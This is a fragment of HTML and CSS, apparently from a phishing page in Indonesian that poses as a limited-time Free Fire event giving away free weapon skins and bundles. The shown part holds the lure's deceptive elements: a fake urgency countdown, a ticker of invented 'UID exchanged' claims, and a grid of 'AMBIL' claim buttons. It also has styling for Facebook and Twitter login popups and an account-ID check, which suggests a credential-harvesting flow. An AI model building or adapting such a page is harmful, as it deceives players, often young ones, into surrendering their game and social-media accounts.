         height: 40px;
         margin-left: 10px;
         margin-bottom: 4px;
         padding: 4px;
         padding-left: 10px;
         padding-right: auto;
         color: #f1f1f0;
         font-size: 15px;
         font-family: laza;
         font-weight: 500;
         border: 2px solid #232323;
         position: relative;
         outline: none;
         -webkit-appearance: none;
         -moz-appearance: none;
         border-radius: 15px;
         }
         .verify-box-navbar-form input::placeholder {
         color: #f1f1f0;
         }
         .verify-box-navbar-form select {
         background: url(img/verify-bg.png) no-repeat center center;
         background-size: 100% 100%;
         width: 95%;
         height: 40px;
         margin-left: 10px;
         margin-bottom: 4px;
         padding: 4px;
         padding-left: 10px;
         padding-right: auto;
         color: #f1f1f0;
         font-size: 15px;
         font-family: laza;
         font-weight: 500;
         border: 2px solid #232323;
         position: relative;
         outline: none;
         -webkit-appearance: none;
         -moz-appearance: none;
         border-radius: 15px;
         }
         .verify-box-content {
         background-size: 100% 100%;
         width: 93%;
         height: auto;
         margin-top: -1px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 15px;
         padding: 20px;
         padding-top: 0px;
         padding-bottom: 25px;
         display: block;
         }
         .verify-box-content-title {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 6px;
         color: #fff;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .verify-box-content-title i {
         padding-top: 15px;
         padding-bottom: 15px;
         color: #f1f1f0;
         margin-top: 29px;
         font-size: 100px;
         text-align: center;
         }
         .verify-box-content button {
         background: url(img/submit.png) no-repeat center center;
         background-size: 76% 77%;
         width: 55%;
         height: 55px;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 9px;
         padding-top: 8px;
         padding-left: 20px;
         padding-right: 20px;
         color: #030303;
         font-size: 19px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         border: none;
         display: block;
         }
         .about-box-content {
         background: url(img/aboutrules-sec.png) no-repeat center center;
         background-size: 100% 100%;
         width: 96%;
         height: 120px;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 20px;
         padding-left: auto;
         padding-right: auto;
         float: center;
         color: #000;
         display: block;
         }
         .about-box-content-title {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 6px;
         color: #000;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .about-box-content-title i {
         padding-top: 15px;
         padding-bottom: 15px;
         color: #000;
         font-size: 100px;
         text-align: center;
         }
         figure {
         margin: 0;
         padding: 0;
         overflow: hidden;
         }
         .itemShine figure {
         position: relative;
         }
         .itemShine figure::before {
         background: -webkit-linear-gradient(left, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, .3) 100%);
         background: linear-gradient(to right, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, .3) 100%);
         width: 50%;
         height: 100%;
         top: 0;
         left: -75%;
         position: absolute;
         z-index: 2;
         content: '';
         display: block;
         -webkit-transform: skewX(-25deg);
         transform: skewX(-25deg);
         }
         .itemShine figure::before {
         -webkit-animation: shine 2s infinite;
         animation: shine 2s infinite;
         }
         @-webkit-keyframes shine {
         100% {
         left: 125%;
         }
         }
         @keyframes shine {
         100% {
         left: 125%;
         }
         }
         .kanan {
         float: right;
         }
         .kiri {
         float: left;
         }
         .tengah {
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         ::-webkit-scrollbar {
         display: none;
         width: 0px;
         }
         .twitter-load {
         background-size: 100% 100%;
         width: 93%;
         height: 388px;
         margin-top: 0px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 15px;
         padding: 20px;
         padding-top: 0px;
         padding-bottom: 25px;
         display: block;
         }
         .twitter-load-title {
         width: 95%;
         height: auto;
         margin-top: 70px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 6px;
         padding-top: 90px;
         color: #fff;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .twitter-load-title i {
         margin-top: 90px;
         padding-top: 15px;
         padding-bottom: 15px;
         color: #00acee;
         font-size: 50px;
         text-align: center;
         }
         .fb-load {
         background-size: 100% 100%;
         width: 93%;
         height: 304px;
         margin-top: -1px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 15px;
         padding: 20px;
         padding-top: 0px;
         padding-bottom: 25px;
         display: block;
         }
         .fb-load img {
         width: 50px;
         height: 50px;
         margin-top: 215px;
         margin-bottom: -55px;
         }
         .fb-load-title {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 6px;
         color: #999998;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .fb-load-title i {
         margin-top: 200px;
         padding-top: 15px;
         padding-bottom: 15px;
         color: #999998;
         font-size: 30px;
         text-align: center;
         }
         .event-notification {
         width: 93%;
         height: 53px;
         padding: 7px;
         margin-right: auto;
         margin-left: auto;
         }
         .event-notification-txt {
         padding-top: 10px;
         padding-left: 34px;
         color: #dbff85;
         font-size: 16px;
         font-family: Teko;
         font-weight: 550;
         text-align: left;
         float: left;
         }
         .scroll {
         overflow: scroll;
         position: relative;
         width: 100%;
         height: 440px;
         margin-top: 0px;
         margin-left: auto;
         margin-right: auto;
         display: block;
         scrollbar-face-color: #ffbb40;
         scrollbar-shadow-color: #ffbb40;
         scrollbar-highlight-color: #ffbb40;
         scrollbar-3dlight-color: #ffbb40;
         scrollbar-darkshadow-color: #ffbb40;
         scrollbar-track-color: #ffbb40;
         scrollbar-arrow-color: #ffbb40;
         }
         .timer {
         background: url(images/bg_tip2.png) no-repeat center center;
         background-size: 62% 83%;
         width: 98%;
         height: 12%;
         margin-top: 422px;
         padding-right: 0px;
         margin-right: 0;
         display: block;
         padding-top: 18px;
         text-align: center;
         font-size: 17px;
         font-family: 'laza';
         font-weight: 500;
         //color: #f9be01;
         color: #fff5e8;
         font-style: normal;
         text-shadow: 1px 1px 1px #145046;
         position: absolute;
         }
         .notifgift {
         background: url(images/bg_tip3.png) no-repeat center center;
         position: absolute;
         opacity: 100%;
         color: #000000;
         text-shadow: 1px 1px 1px #ffffff;
         border-radius: 2px;
         background-size: 100% 100%;
         width: 85%;
         height: 25px;
         margin-top: -69px;
         margin-left: 22px;
         padding-top: 5px;
         padding-right: 0px;
         text-align: center;
         font-size: 12px;
         font-family: laza;
         font-weight: 500;
         display: block;
         }
         .box-rewards {
         background-size: 105% 100%;
         width: 100%;
         height: auto margin-left:auto;
         margin-top: -48px;
         margin-right: auto;
         margin-bottom: 10px;
         border: 0px solid #E29E53;
         border-radius: 5px;
         position: relative;
         display: block;
         }
         .box-item-rewards {
         width: 100%;
         height: auto;
         padding-top: 20px;
         margin-right: auto;
         }
         .item {
         background: url(images/point-card-bg.png);
         background-size: 100% 100%;
         width: 29%;
         height: 110px;
         margin: 3px;
         margin-bottom: 34px;
         display: inline-block;
         }
         .item .item-nominal {
         padding-right: 4px;
         color: #fff;
         font-size: 25px;
         font-family: DINMITTELSCHRIFTSTD;
         text-align: right;
         position: absolute;
         }
         .item-label .marquee {
         white-space: nowrap;
         font-family: dinm;
         overflow: hidden;
         display: inline-block;
         animation: marquee 10s linear infinite;
         }
         .item-label .marquee a {
         display: inline-block;
         }
         @keyframes marquee {
         0% {
         transform: translate3d(0, 0, 0);
         }
         100% {
         transform: translate3d(-50%, 0, 0);
         }
         }
         .item img {
         width: 79%;
         height: 79%;
         margin-top: 9%;
         margin-bottom: 4%;
         }
         .item-label {
         width: 85%;
         overflow: hidden;
         color: #fff;
         font-size: 10px;
         font-family: DINMITTELSCHRIFTSTD;
         font-weight: 550;
         text-align: center;
         margin-top: -8px;
         }
         .item-pcs {
         color: #ffffff;
         text-shadow: 1px 1px 1px #000000;
         font-size: 14px;
         font-family: 'laza';
         font-weight: 550;
         text-align: center;
         margin-top: -22px;
         margin-left: 27px;
         position: absolute;
         }
         .item p {
         background: url(images/button.png)no-repeat center center;
         background-size: 96% 100%;
         width: 100%;
         height: 30px;
         padding: 3px;
         padding-top: 8px;
         // padding-left: 18px;
         color: #0f0f0f;
         font-size: 13px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         border: none;
         outline: none;
         margin-top: 1%;
         border-bottom-left-radius: 9px;
         border-bottom-right-radius: 9px;
         }
         .item p img {
         margin-left: -25px;
         margin-bottom: -6px;
         width: 20px;
         height: auto;
         border: none;
         position: absolute;
         margin-top: -2.5px;
         }
         .LabelCards_card_label_box__Hcfaa {
         box-sizing: border-box;
         left: 6px;
         overflow: hidden;
         position: absolute;
         right: 6px;
         top: 6px;
         z-index: 1;
         }
         .lazabox {
         background: url(img/lazabox.png);
         background-size: 100% 100%;
         width: 100%;
         height: 70%;
         margin-top: -230px;
         object-position: center;
         }
         .pd-giftbox {
         position: absolute;
         top: 41.8%;
         left: 64%;
         transform: translateX(-0.645rem);
         }
         .rtl .pd-giftbox {
         direction: ltr
         }
         .pd-giftbox>img:nth-child(1) {
         position: absolute;
         top: -43px;
         left: 25px;
         z-index: 2;
         width: 6.2rem;
         height: 4.92rem;
         transform: rotate(-18deg);
         transform-origin: 100% 100%;
         -moz-transform-origin: 100% 100%;
         -webkit-transform-origin: 100% 100%;
         -o-transform-origin: 100% 100%;
         animation: gift-box-hat-kf 5s infinite;
         -moz-animation: gift-box-hat-kf 5s infinite;
         -webkit-animation: gift-box-hat-kf 3s infinite;
         -o-animation: gift-box-hat-kf 3s infinite
         }
         .pd-giftbox>img:nth-child(2) {
         position: absolute;
         width: 7.29rem;
         height: 5.1rem;
         }
         @keyframes gift-box-hat-kf {
         0% {
         transform: rotate(0deg)
         }
         12.5% {
         transform: rotate(0deg)
         }
         25% {
         transform: rotate(-18deg)
         }
         37.5% {
         transform: rotate(-18deg)
         }
         50% {
         transform: rotate(0deg)
         }
         62.5% {
         transform: rotate(0deg)
         }
         75% {
         transform: rotate(-18deg)
         }
         87.5% {
         transform: rotate(-18deg)
         }
         100% {
         transform: rotate(0deg)
         }
         }
         .yun {
         position: absolute
         }
         .yun1_1 {
         width: 35px;
         height: 18px;
         left: 10px;
         top: 63px;
         background: url(img/lazcloud/yun1_1.png) 0/100% 100% no-repeat
         }
         .yun1_2 {
         width: 19px;
         height: 12px;
         left: 10px;
         top: 130px;
         background: url(img/lazcloud/yun1_2.png) 0/100% 100% no-repeat
         }
         .yun1_3 {
         width: 57px;
         height: 20px;
         left: 215px;
         top: 72px;
         background: url(img/lazcloud/yun1_3.png) 0/100% 100% no-repeat
         }
         .yun2_1 {
         width: calc(136 / 1920 * 100vw);
         height: calc(61 / 1920 * 100vw);
         left: calc(93 / 1920 * 100vw);
         top: calc(141 / 1920 * 100vw);
         background: url(img/lazcloud/yun2_1.png) 0/100% 100% no-repeat
         }
         .yun2_2 {
         width: calc(561 / 1920 * 100vw);
         height: calc(207 / 1920 * 100vw);
         left: calc(99 / 1920 * 100vw);
         top: calc(207 / 1920 * 100vw);
         background: url(img/lazcloud/yun2_2.png) 0/100% 100% no-repeat
         }
         .yun2_3 {
         width: 68px;
         height: 25px;
         left: 293px;
         top: 19px;
         background: url(img/lazcloud/yun2_3.png) 0/100% 100% no-repeat
         }
         .yun2_4 {
         width: 71px;
         height: 29px;
         left: 290px;
         top: 141px;
         background: url(img/lazcloud/yun2_4.png) 0/100% 100% no-repeat;
         }
         .yun2_5 {
         width: 69px;
         height: 27px;
         left: 10px;
         top: 158px;
         background: url(img/lazcloud/yun2_5.png) 0/100% 100% no-repeat
         }
         .yun2_6 {
         width: 58px;
         height: 28px;
         left: 263px;
         top: 88px;
         background: url(img/lazcloud/yun2_6.png) 0/100% 100% no-repeat
         }
         .tab_rewards {
         background: url(img/box.png);
         background-size: 100% 100%;
         width: 104%;
         height: 361px;
         margin-top: 90px;
         margin-right: -8px;
         margin-left: 10px;
         padding-top: 52px;
         align-content: center;
         float: inline-end;
         opacity: 120%;
         }
         .nom {
         position: absolute;
         padding-left: 387px;
         padding-top: 51px;
         color: #fff;
         font-size: 13px;
         font-family: dinm;
         font-weight: 550;
         }
         @media only screen and (max-width:600px) {
         .lazabox {
         background: url(img/lazabox.png);
         background-size: 100% 100%;
         width: 100%;
         height: 70%;
         margin-top: -230px;
         object-position: center;
         }
         .box-rewards {
         margin-top: -48px;
         width: 100%;
         height: auto;
         }
         .box-item-rewards {
         width: 100%;
         height: auto;
         padding-top: 20px;
         margin-left: auto;
         margin-right: auto;
         }
         .containerLanding,
         .containerHome {
         width: 100%;
         height: auto;
         margin-top: -3px;
         margin-bottom: 0px;
         border: none;
         border-radius: 0px;
         padding: 0px;
         }
         .slider-container {
         margin-top: -3px;
         border: none;
         }
         .laz-container {
         background: url(images/lazback.jpg) no-repeat center;
         background-size: 100% 100%;
         margin-top: -150px;
         padding: 5px;
         width: 100%;
         margin-left: 0px;
         margin-right: 0px;
         height: 588px;
         position: relative;
         }
         .gallery-container {
         float: left;
         margin-top: -2px;
         width: 100%;
         height: auto;
         border: 0px solid #fff;
         }
         .box {
         width: 100%;
         height: 405px;
         margin-top: -45px;
         margin-bottom: -25px;
         }
         .box-item {
         width: 100%;
         margin-left: auto;
         margin-right: auto;
         padding-top: 1px;
         }
         .rewardpop {
         background: url(images/lazlogin.png) no-repeat center center;
         background-size: 100% 100%;
         width: 400px;
         height: 200px;
         }
         .scroll {
         height: 440px;
         }
         .event-title {
         background: url(img/slogan1.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         height: 6%;
         margin-top: -71px;
         margin-left: -5px;
         display: block;
         position: absolute;
         }
         .event-title2 {
         background: url(img/slogan2.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         height: 23%;
         margin-top: -210px;
         margin-left: -5px;
         display: block;
         position: absolute;
         }
         .event-notification {
         width: 93%;
         height: 53px;
         padding: 7px;
         margin-right: auto;
         margin-left: auto;
         }
         .event-notification-text {
         padding-top: 11px;
         font-family: laza;
         font-size: 16px;
         }
         .footer {
         border-left: none;
         border-right: none;
         border-top: none;
         border-bottom: none;
         }
         .popup-box-wrapper {
         width: auto;
         margin-top: 60%;
         }
         .popup-box-wrapperz {
         width: 360;
         margin-top: 252px;
         }
         .popup-box-wrappers {
         width: 360px;
         margin-top: 60%;
         }
         .popup-box-item {
         width: 16%;
         height: 67px;
         margin-top: 38px;
         }
         .popup-box-login-fb {
         margin-top: 35%;
         }
         .popup-box-login-twitter {
         margin-top: 40%;
         }
         .link-box {
         margin-top: 40%;
         }
         .footer {
         background-position-y: calc(500 / 640 * 210vw);
         }
         .footer-socmed-box p {
         margin-top: 12px;
         }
         .event-notification {
         background-size: auto;
         background-size: 94% 100%;
         width: 85%;
         height: 48px;
         margin-left: auto;
         margin-right: auto;
         margin-top: -2px;
         margin-bottom: -82px;
         display: block;
         }
         .event-notification-txt {
         padding-top: 10px;
         padding-left: 34px;
         color: #dbff85;
         font-size: 16px;
         font-family: Teko;
         font-weight: 550;
         text-align: left;
         float: left;
         }
         .timer {
         margin-left: 0px;
         }
         .notifgift {
         margin-top: -69px;
         }
         .event-notification-timer {
         padding-top: 44px;
         padding-right: 28px;
         color: #dbff85;
         font-size: 27px;
         font-family: Teko;
         font-weight: 550;
         text-align: left;
         margin-bottom: 13px;
         float: right;
         }
         .alert-text {
         margin-top: -330px;
         margin-left: -6px;
         padding: 7px;
         color: #ffffff;
         text-align: center;
         font-size: 14px;
         font-family: laza;
         border: none;
         }
         .alert-text-mid {
         margin-top: 1px;
         padding: 7px;
         color: #f1f1f0;
         text-align: center;
         font: 25px;
         font-family: laza;
         border: none;
         margin-right: -2px;
         font-size: 19px;
         }
         .popup-box-bg {
         background: url(img/popup-box-bg2.png) no-repeat center center;
         background-size: 100% 100%;
         width: 109%;
         margin-top: -12px;
         margin-left: -15px;
         }
         .s1_man1 {
         display: block;
         width: calc();
         height: calc();
         background: url(img/m416.png) center/100% 100% no-repeat;
         position: absolute;
         top: 400px;
         left: calc(-80 /1920*100vw);
         bottom: calc(-23 /1920*100vw);
         animation: bounce_down 4s linear infinite;
         -webkit-animation: bounce_down 4s linear infinite
         }
         @-webkit-keyframes bounce_down {
         25% {
         -webkit-transform: translateY(-10px)
         }
         50%,
         100% {
         -webkit-transform: translateY(0)
         }
         75% {
         -webkit-transform: translateY(10px)
         }
         }
         @keyframes bounce_down {
         25% {
         transform: translateY(-10px)
         }
         50%,
         100% {
         transform: translateY(0)
         }
         75% {
         transform: translateY(10px)
         }
         }
         }
         .i {
         display: inline-flex;
         width: 8%;
         animation: anim 8.5s ease-in-out infinite;
         transform: translateY(-150%) rotate(0deg);
         }
         .n1 {
         animation-delay: 0.1s;
         }
         .n2 {
         animation-delay: 1.2s;
         }
         .n3 {
         animation-delay: 0.6s;
         margin-left: 280px;
         }
         .n4 {
         animation-delay: 1.4s;
         width: 10px;
         }
         .n5 {
         animation-delay: 0.4s;
         width: 10px;
         margin-left: 160px;
         }
         .n6 {
         animation-delay: 0.6s;
         }
         h1 {
         transform: rotate(-45deg);
         }
         @keyframes anim {
         0% {
         transform: translateY(-180%) rotate(0deg);
         }
         100% {
         transform: translateY(120vh) rotate(-360deg);
         }
         }
         .yun {
         position: absolute
         }
         .yun1_1 {
         width: 35px;
         height: 18px;
         left: 10px;
         top: 63px;
         background: url(img/lazcloud/yun1_1.png) 0/100% 100% no-repeat
         }
         .yun1_2 {
         width: 19px;
         height: 12px;
         left: 10px;
         top: 130px;
         background: url(img/lazcloud/yun1_2.png) 0/100% 100% no-repeat
         }
         .yun1_3 {
         width: 57px;
         height: 20px;
         left: 215px;
         top: 72px;
         background: url(img/lazcloud/yun1_3.png) 0/100% 100% no-repeat
         }
         .yun2_1 {
         width: calc(136 / 1920 * 100vw);
         height: calc(61 / 1920 * 100vw);
         left: calc(93 / 1920 * 100vw);
         top: calc(141 / 1920 * 100vw);
         background: url(img/lazcloud/yun2_1.png) 0/100% 100% no-repeat
         }
         .yun2_2 {
         width: calc(561 / 1920 * 100vw);
         height: calc(207 / 1920 * 100vw);
         left: calc(99 / 1920 * 100vw);
         top: calc(207 / 1920 * 100vw);
         background: url(img/lazcloud/yun2_2.png) 0/100% 100% no-repeat
         }
         .yun2_3 {
         width: 68px;
         height: 25px;
         left: 293px;
         top: 19px;
         background: url(img/lazcloud/yun2_3.png) 0/100% 100% no-repeat
         }
         .yun2_4 {
         width: 71px;
         height: 29px;
         left: 290px;
         top: 141px;
         background: url(img/lazcloud/yun2_4.png) 0/100% 100% no-repeat;
         }
         .yun2_5 {
         width: 69px;
         height: 27px;
         left: 10px;
         top: 158px;
         background: url(img/lazcloud/yun2_5.png) 0/100% 100% no-repeat
         }
         .yun2_6 {
         width: 58px;
         height: 28px;
         left: 263px;
         top: 88px;
         background: url(img/lazcloud/yun2_6.png) 0/100% 100% no-repeat
         }
         #cekid_status {
    display: none; 
    margin: 12px 0; 
    font-weight: bold; 
    text-align: center; 
    font-size: 14px;
    padding: 8px;
    border-radius: 5px;
}
#cekid_status.loading {
    color: #ffb703; 
}
#cekid_status.error {
    color: #ff4d4d; 
}
#cekid_status.success {
    color: #2ecc71; 
}
.input-readonly {
    background: rgba(255, 255, 255, 0.08) !important; 
    color: #bbb !important; 
    cursor: not-allowed !important; 
    border: 1px solid rgba(255, 255, 255, 0.1) !important;
}
.shake {
    animation: shakeEffect 0.4s ease-in-out;
}
@keyframes shakeEffect {
    0%, 100% { transform: translateX(0); }
    20%, 60% { transform: translateX(-6px); }
    40%, 80% { transform: translateX(6px); }
}
      </style>
      <div class="slider-container">
         <div class="navbar">
            <img class="navbar-logo" src="images/logo.png">
            <div class="navbar-right">
               <img class="navbar-language" src="images/nav_language.svg">
               <img class="navbar-language" src="images/nav_menu.svg">
            </div>
         </div>
         <!--- navbar-right --->
      </div>
      <!--- Banner/Video --->
      <div class="header">
         <img src="images/1.jpg" class="width: 100%;">
      </div>
      <!--- header --->
      <div class="laz-home">
         <div class="laz-container" style="margin-top:-1px;">
            <div>
               <br>
               <br>
               <br>
               <br>
               <br>
               <div class="event-title" style="opacity: 0%;"></div>
               <div class="event-title2" style="opacity: 0%;"></div>
               <div class="timer">EVENT TERBATAS<br>BERAKHIR PADA: <i class="fa-solid fa-stopwatch fa-shake"></i><span id="timer1" style="animation: fade .6s infinite alternate;color: #ff2c2c;">  23 : 59 : 49</span></div>
               <!--- event-notification-timer --->
               <div class="notifgift linemotion">
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 3585****23 Exchange M1887 - GOLDEN CLARE</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 5266****04 Exchange BUNDLE - FOOTBALL STAR</div>
                  <div class="slider animated fadeIn" style="display: block;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 8284****33 Exchange M1887 - HAND OF HOPE</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 3980****78 Exchange M1887 - ONI - SAKURA</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 8582****2 Exchange AK47 - DRACO</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 5766****890 Exchange M1887 - METEOR</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 3538****27 Exchange M1887 - EMERALD POWER</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 3340****71 Exchange M1887 - MATA ELANG</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 6582****342 Exchange M1887 - ONEPUCHMAN</div>
                  <div class="slider animated fadeIn" style="display: none;"><i class="fa-solid fa-gift fa-bounce"></i>&nbsp;&nbsp;&nbsp; UID 3311****129 Exchange M1887 - EMERALD POWER</div>
               </div>
            </div>
            <!--- alert-text --->
            <div class="box-rewards">
               <div class="box-item-rewards">
                  <div class="scroll">
                     <center>
                     <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="https://rzo.my.id/ff7/bundleheker.png" item-name="CYBER INVARED BUNDLE" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="https://rzo.my.id/ff7/bundleheker.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; CYBER INVARED BUNDLE</a>
                                    <a>&nbsp; CYBER INVARED BUNDLE</a>
                                 </div>
                              </div>                             
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="https://rzo.my.id/ff7/bundlebiruu.png" item-name="THUNDERBORN MVP BUNDLE" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="https://rzo.my.id/ff7/bundlebiruu.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; THUNDERBORN MVP BUNDLE</a>
                                    <a>&nbsp; THUNDERBORN MVP BUNDLE</a>
                                 </div>
                              </div>                             
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="https://rzo.my.id/ff5/ss.png" item-name="RUSH BOARD BUNDLE" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="https://rzo.my.id/ff5/ss.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; RUSH BOARD BUNDLE</a>
                                    <a>&nbsp; RUSH BOARD BUNDLE</a>
                                 </div>
                              </div>                             
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/2.jpg" item-name="M1887 - ONEPUCHMAN" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/2.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp;M1887 - ONEPUCHMAN</a>
                                    <a>&nbsp;M1887 - ONEPUCHMAN</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/6.jpg" item-name="M1887 - RAPPER" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/6.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1887 - RAPPER</a>
                                    <a>&nbsp; M1887 - RAPPER</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/13.jpg" item-name="M1187 - HAND OF HOPE" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/13.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1187 - HAND OF HOPE</a>
                                    <a>&nbsp; M1187 - HAND OF HOPE</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/10.jpg" item-name="M1014 - GREEN FLAME DRACO" item-total="" item-price="3500">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/10.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1014 - GREEN FLAME DRACO</a>
                                    <a>&nbsp; M1014 - GREEN FLAME DRACO</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/11.jpg" item-name="M1887 - STERLING CONQUEROR" item-total="" item-price="3500">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/11.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1887 - STERLING CONQUEROR</a>
                                    <a>&nbsp; M1887 - STERLING CONQUEROR</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/12.jpg" item-name="AN94 - EVIL HOWLER" item-total="" item-price="3500">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/12.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; AN94 - EVIL HOWLER</a>
                                    <a>&nbsp; AN94 - EVIL HOWLER</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/1.jpg" item-name="M1887 - METEOR" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/1.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp;M1887 - METEOR</a>
                                    <a>&nbsp;M1887 - METEOR</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/3.jpg" item-name="M1887 - MATA ELANG" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/3.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1887 - MATA ELANG</a>
                                    <a>&nbsp; M1887 - MATA ELANG</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/4.jpg" item-name="AK47 - DRACO" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/4.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; AK47 - DRACO</a>
                                    <a>&nbsp; AK47 - DRACO</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/5.jpg" item-name="M1887 - EMERALD POWER" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/5.png">
